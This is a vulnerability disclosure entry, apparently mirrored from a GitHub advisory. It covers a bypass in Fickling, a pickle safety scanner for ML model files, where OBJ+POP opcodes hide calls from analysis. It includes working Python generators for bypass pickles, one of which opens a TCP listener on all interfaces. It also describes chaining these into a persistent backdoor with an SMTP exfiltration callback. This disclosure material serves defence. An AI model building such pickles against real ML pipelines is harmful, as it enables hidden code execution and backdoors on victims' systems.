# Fickling: OBJ opcode call invisibility bypasses all safety checks

Fickling's OBJ opcode pushes calls only onto the interpreter stack, so OBJ+POP payloads vanish from the AST and pass all five safety checks while executing arbitrary stdlib constructors.

- Payout: Research
- Severity: high
- Program: Fickling
- Found by: yash2998chhabria
- Disclosed: 2026-02-24
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mxhj-88fx-4pcv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mxhj-88fx-4pcv
- Tags: area:ai domain:ai domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:deserialization

**Target:** Pickle decompiler/interpreter (fickle.py Obj.run) used as a safety gate for ML model files
**Root cause:** Obj.run() appends ast.Call directly to the interpreter stack without calling new_variable(), so when POP discards the result the call never reaches module_body and is invisible to all 9 analysis passes. Reduce.run() does persist calls, which is why REDUCE is detected.
**Steps:**
1. Build pickle: `(` MARK, `\x8c`+len+'smtplib' + 'SMTP' strings, `\x93` STACK_GLOBAL, `\x8c`+'127.0.0.1', `o` OBJ, `0` POP, `N.` NONE+STOP, wrapped in PROTO 4 + FRAME.
2. Run `fickling.is_likely_safe(path)` -> returns True; `fickling --check-safety bypass.pkl` exits 0.
3. Decompiled AST shows only `from smtplib import SMTP` and `result = None`; no call visible.
4. `pickle.loads(data)` executes `SMTP('127.0.0.1')` and opens a TCP connection.
5. Variant: OBJ+POP `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a listener on all interfaces after loads.
6. Combine signal.signal(SIGTERM, SIG_IGN), TCPServer backdoor, smtplib callback, sqlite3.connect marker in one pickle; always_check_safety() raises no UnsafeFileError.
**How found:** Code review of fickle.py: noticed Reduce.run() persists calls via new_variable() with a comment warning that stack-only values may not reach the final AST, then found Obj.run() does exactly that — appending ast.Call to the stack only. Confirmed by decompiling an OBJ+POP pickle and observing the call missing from the AST while executing at runtime.
**Exploitation:** Attacker ships a malicious pickle (e.g. backdoored ML model) that passes fickling's gate; on pickle.load the OBJ constructor runs, opening a network listener on 0.0.0.0:9999, ignoring SIGTERM for persistence across container restarts, calling out to attacker SMTP for IP/hostname exfil, and creating files at chosen paths. Only modules in UNSAFE_IMPORTS are blocked at import level.
**Escalation:** Chaining multiple OBJ+POP calls in one pickle (signal suppression + listener + callback + file write) yields persistent backdoor access in cloud ML environments while resisting graceful shutdown.
**Insight:** When auditing a pickle/bytecode safety scanner, compare each opcode handler against the one that persists to the AST; any handler that only pushes to the interpreter stack is invisible once POP discards the value. Test every opcode that invokes a callable (OBJ, NEWOBJ, NEWOBJ_EX, REDUCE) with a POP after it.

## Proof of concept (copied exactly from the original report)

**OBJ+POP pickle bypassing fickling safety checks**

```
def make_obj_pop_bypass():
    """
    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
    but the call is invisible to fickling.

    Opcode sequence:
        MARK
          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)
          SHORT_BINUNICODE '127.0.0.1'    (argument)
        OBJ                               (call SMTP('127.0.0.1'), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -> call GONE)
        NONE
        STOP
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    payload.write(b"(")                              # MARK
    payload.write(sbu("smtplib") + sbu("SMTP"))      # push module + func strings
    payload.write(b"\x93")                            # STACK_GLOBAL
    payload.write(sbu("127.0.0.1"))                   # push argument
    payload.write(b"o")                               # OBJ: call SMTP('127.0.0.1')
    payload.write(b"0")                               # POP: discard result
    payload.write(b"N.")                              # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()
```

**Backdoor TCP listener pickle PoC**

```
def make_backdoor():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
    payload.write(b"(")                                          # MARK
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")  # STACK_GLOBAL
    payload.write(b"(")                                          # MARK (inner tuple)
    payload.write(sbu("0.0.0.0"))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b"t")                                          # TUPLE
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")  # handler
    payload.write(b"o")                                          # OBJ
    payload.write(b"0")                                          # POP
    payload.write(b"N.")                                         # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()
```

